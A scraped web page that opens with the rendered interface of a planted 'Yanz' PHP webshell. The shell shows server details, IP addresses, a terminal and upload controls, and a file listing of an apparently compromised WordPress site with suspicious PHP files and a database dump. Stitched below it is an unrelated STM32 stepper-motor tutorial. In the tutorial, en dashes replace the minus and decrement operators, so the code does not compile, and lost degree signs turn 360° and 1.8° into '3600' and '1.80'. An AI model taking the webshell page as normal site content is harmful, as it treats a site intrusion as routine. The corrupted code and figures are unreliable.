Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux s35.wpx.net 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Thu Apr 23 10:43:43 UTC 2026 x86_64
8.0.30 Safe mode: OFF Datetime: 2026-09-28 19:27:15
7008.76 GB Free: 3916.99 GB (55%)
/home/electron3/public_html/ drwxr-xr-x [ root ] [ home ] Text

Server IP:
198.60.193.35
Client IP:
216.73.216.105
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-09-28 17:06:20drwxr-xr-xRename Touch
[ .usermin ]dir2024-09-05 07:12:34drwxr-xr-xRename Touch
[ 3cfc6 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ a8f5d ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ af889 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ eb364 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ ef8b8 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ js ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ tools ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ wp-admin ]dir2026-09-22 12:55:00drwxr-xr-xRename Touch
[ wp-content ]dir2026-09-28 11:13:17drwxr-xr-xRename Touch
[ wp-includes ]dir2026-09-22 12:55:00drwxr-xr-xRename Touch
[ wp-snapshots ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
.backup0 B2024-09-09 07:19:14-rw-r--r--Rename Touch Edit Download
.htaccess617 B2026-08-10 03:53:18-rw-r--r--Rename Touch Edit Download
.s3backupstatus87 B2024-09-05 07:24:30-rw-r--r--Rename Touch Edit Download
.synthquota117 B2024-09-05 07:18:11-rw-r--r--Rename Touch Edit Download
.user.ini0 B2024-09-09 15:05:09-rw-r--r--Rename Touch Edit Download
.user.ini~bckp95 B2024-09-05 07:21:22-rw-r--r--Rename Touch Edit Download
761baa864110.php375 B2026-08-10 01:47:54-rw-r--r--Rename Touch Edit Download
accesson.php374 B2026-09-28 19:27:15-rw-r--r--Rename Touch Edit Download
adman.177.txt5 B2026-08-09 20:59:44-rw-r--r--Rename Touch Edit Download
adman.198.txt5 B2026-08-09 21:49:35-rw-r--r--Rename Touch Edit Download
adman.369.txt6 B2026-08-09 21:57:44-rw-r--r--Rename Touch Edit Download
adman.623.txt6 B2026-08-09 20:54:34-rw-r--r--Rename Touch Edit Download
adman.831.txt6 B2026-08-09 21:01:55-rw-r--r--Rename Touch Edit Download
adman.908.txt6 B2026-08-09 21:50:38-rw-r--r--Rename Touch Edit Download
ads.txt5.58 KB2026-02-10 14:31:08-rw-r--r--Rename Touch Edit Download
database.sql326.76 MB2026-09-28 11:34:13-rw-rw-r--Rename Touch Edit Download
databasescan.txt357 B2026-09-28 11:35:16-rw-rw-r--Rename Touch Edit Download
electronicshub.org.ads.txt12.27 KB2024-12-23 09:13:13-rw-r--r--Rename Touch Edit Download
favicon.ico14.73 KB2024-09-05 07:18:18-rw-r--r--Rename Touch Edit Download
function_calls_with_plugins.log734.92 MB2025-06-11 08:20:44-rw-r--r--Rename Touch Edit Download
index.php405 B2020-02-06 06:33:11-rw-r--r--Rename Touch Edit Download
license.txt19.44 KB2026-01-01 00:07:29-rw-r--r--Rename Touch Edit Download
litespeed.conf1.18 KB2025-06-10 14:43:27-rw-r--r--Rename Touch Edit Download
readme.a8fc87ce3030c5693b571a9fcdc9feb1.html7.25 KB2025-09-30 22:56:20-rw-r--r--Rename Touch Edit Download
readme.html7.23 KB2026-07-06 16:51:48-rw-r--r--Rename Touch Edit Download
robots.txt127 B2024-09-05 07:18:04-rw-r--r--Rename Touch Edit Download
scan.txt4.52 KB2026-09-28 12:34:58-rw-r--r--Rename Touch Edit Download
sql_query.txt6.68 KB2024-09-05 07:18:03-rw-r--r--Rename Touch Edit Download
wp-activate.php7.54 KB2026-07-07 03:06:54-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2020-02-06 06:33:11-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2023-06-14 14:11:16-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2025-08-12 14:47:31-rw-r--r--Rename Touch Edit Download
wp-config.php3.72 KB2025-06-11 13:03:47-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2024-08-02 19:40:16-rw-r--r--Rename Touch Edit Download
wp-headre.php17.27 KB2026-05-23 03:06:47-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2025-04-30 12:52:29-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2024-03-11 10:05:15-rw-r--r--Rename Touch Edit Download
wp-login.php51.30 KB2026-08-11 06:18:50-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2025-04-02 22:25:26-rw-r--r--Rename Touch Edit Download
wp-settings.php32.38 KB2026-07-22 17:21:49-rw-r--r--Rename Touch Edit Download
wp-signup.php34.26 KB2026-08-06 15:38:50-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.27 KB2026-07-31 13:08:52-rw-r--r--Rename Touch Edit Download
wpx-fp-report.txt254.94 KB2026-09-28 12:38:41-rw-rw-r--Rename Touch Edit Download
xmlrpc.php3.13 KB2024-11-08 15:52:18-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

Interfacing Stepper Motor with STM32F103C8T6 | STM32 Stepper Motor

Interfacing Stepper Motor with STM32F103C8T6

In this tutorial, I will show you the procedure for Interfacing Stepper Motor with STM32F103C8T6 MCU based STM32 Blue Pill Board. I will first give a brief overview of the Stepper Motor, its types, its driving techniques and finally how to interface a Stepper Motor with STM32.

Introduction

Stepper Motors are one of the important types of motors used in industrial as well as commercial applications. They are simple brushless motors that convert digital pulses into angular rotation.

The unique feature of a Stepper Motor is that every revolution is divided into a distinct number of equal steps, usually 200. Since there are 200 steps for 3600 of rotation, each step will result in a rotation of 1.80. In order to, move from one step to other, a separate pulse must be sent and speed of rotation is directly proportional to the frequency of the pulses.

Another important thing to know about stepper motors is there are two types of Stepper Motors. They are Unipolar Stepper Motors and Bipolar Stepper Motors. The main difference between these two is that in unipolar stepper motor, each phase has a winding with centre tap while in bipolar stepper motor, there is just a single winding per phase.

Bipolar Unipolar Stepper Motor

Another difference is the way these motors are driven. Since the polarity of the magnet in the coil can be reversed in Unipolar type, without the switching the current direction, driving them is very easy. You only need a simple transistor-based motor driver like ULN2003 IC, for example.

But in case of Bipolar stepper motors, it is difficult to reverse the magnetic polarity directly as there is only a single winding per phase. We usually need a dedicated H-Bridge type Motor Driver IC like L293D or L298N IC to drive a bipolar stepper motor.

Interfacing Stepper Motor with STM32F103C8T6

In this project, I will be using a simple 5V Unipolar Stepper Motor, where the centre taps of both the windings are made common. This means that the motor will have only 5 wires instead of six.

A common type of hobbyist unipolar stepper motor that is very popular and cheap is the 28BYJ-48. If you refer to the data sheet of this motor, it is mentioned that it has a gear ratio of 64 and the stride angle is 5.6250. What this means is that the number if steps needed for one rotation is 360 / 5.625, which is equal to 64.

Also, since the gear ratio is 64, the effective number of steps for the output shaft is steps per revolution multiplied by the gear ratio i.e. 64 * 64 = 4096.

In this project, I will be using this stepper motor along with ULN2003 Driver IC and control it with STM32 MCU. The project will be a sweep of rotation in clockwise direction and anti-clockwise direction in a loop.

Components Required

  • STM32F103C8T6 MCU based STM32 Blue Pill Board
  • 5V Unipolar Stepper Motor (5 Wire)
  • ULN2003 Driver IC
  • Connecting Wires
  • USB to UART Converter (if programming through UART)

Circuit Diagram

The following image shows the circuit diagram of Interfacing Stepper Motor with STM32F103C8T6 MCU.

Interfacing Stepper Motor with STM32F103C8T6 Circuit Diagram

Connections Explained

First, the red wire of the Stepper Motor is connected to 5V. Next, the first four inputs IN1 through IN4 of ULN2003 IC are connected to PA0 through PA3. The first four outputs of ULN2003 i.e. OUT1 through OUT4 are connected to the Stepper Motor Wires in the following order:

  • OUT1 –> Blue
  • OUT2 –> Pink
  • OUT3 –> Yellow
  • OUT4 –> Orange

Also, connect the GND terminals of ULN2003, STM32 and the 5V power supply.

Programming STM32 for Stepper Motor Control

First, select the pins PA0 through PA3 as inputs to ULN2003 and initialize them as Outputs of STM32.

Now use a variable to denote the maximum number of steps as 4095. What this represents is the count for one full rotation. Now assume the initial direction as clockwise and start the stepper motor by using half stepping technique.

Once the step count reaches 0, it means that the motor has completed one rotation. Now, give a small delay of a second or two and change the direction to anti-clockwise. Reset the step count to maximum i.e. 4095 and begin the sequence in reverse order. The stepper motor will start rotating in the opposite direction. Repeat this process in a loop.

There is no need for any library in this code and you can even modify the code to accept user inputs for selecting the direction and the number of steps.

If you have a different stepper motor, then refer to its data sheet and calculate the step angle, gear ratio and total number of steps required for one rotation.

Code

#define IN1 PA0
#define IN2 PA1
#define IN3 PA2
#define IN4 PA3
int Steps = 0;
boolean Direction = true;
unsigned long prevTime;
unsigned long currentMillis ;
int stepsLeft=4095;
long time;
void setup()
{
pinMode(IN1, OUTPUT);
pinMode(IN2, OUTPUT);
pinMode(IN3, OUTPUT);
pinMode(IN4, OUTPUT);
}
void loop()
{
while(stepsLeft > 0)
{
currentMillis = micros();
if(currentMillis-prevTime >= 1000)
{
stepper(1);
time = time + micros() – prevTime;
prevTime = micros();
stepsLeft–;
}
}
delay(2000);
Direction=!Direction;
stepsLeft=4095;
}

void stepper(int x)
{
for (int i=0; i < x; i++)
{
switch(Steps)
{
case 0:
digitalWrite(IN1, LOW);
digitalWrite(IN2, LOW);
digitalWrite(IN3, LOW);
digitalWrite(IN4, HIGH);
break;
case 1:
digitalWrite(IN1, LOW);
digitalWrite(IN2, LOW);
digitalWrite(IN3, HIGH);
digitalWrite(IN4, HIGH);
break;
case 2:
digitalWrite(IN1, LOW);
digitalWrite(IN2, LOW);
digitalWrite(IN3, HIGH);
digitalWrite(IN4, LOW);
break;
case 3:
digitalWrite(IN1, LOW);
digitalWrite(IN2, HIGH);
digitalWrite(IN3, HIGH);
digitalWrite(IN4, LOW);
break;
case 4:
digitalWrite(IN1, LOW);
digitalWrite(IN2, HIGH);
digitalWrite(IN3, LOW);
digitalWrite(IN4, LOW);
break;
case 5:
digitalWrite(IN1, HIGH);
digitalWrite(IN2, HIGH);
digitalWrite(IN3, LOW);
digitalWrite(IN4, LOW);
break;
case 6:
digitalWrite(IN1, HIGH);
digitalWrite(IN2, LOW);
digitalWrite(IN3, LOW);
digitalWrite(IN4, LOW);
break;
case 7:
digitalWrite(IN1, HIGH);
digitalWrite(IN2, LOW);
digitalWrite(IN3, LOW);
digitalWrite(IN4, HIGH);
break;
default:
digitalWrite(IN1, LOW);
digitalWrite(IN2, LOW);
digitalWrite(IN3, LOW);
digitalWrite(IN4, LOW);
break;
}
SetDirection();
}
}
void SetDirection()
{
if(Direction==1)
{
Steps++;
}
if(Direction==0)
{
Steps–;
}
if(Steps>7)
{
Steps=0;
}
if(Steps<0)
{
Steps=7;
}
}

Conclusion

A simple project is implemented here to demonstrate the Interfacing of Stepper Motor with STM32F103C8T6 MCU based STM32 Blue Pill Board.

One Response

Leave a Reply

Your email address will not be published. Required fields are marked *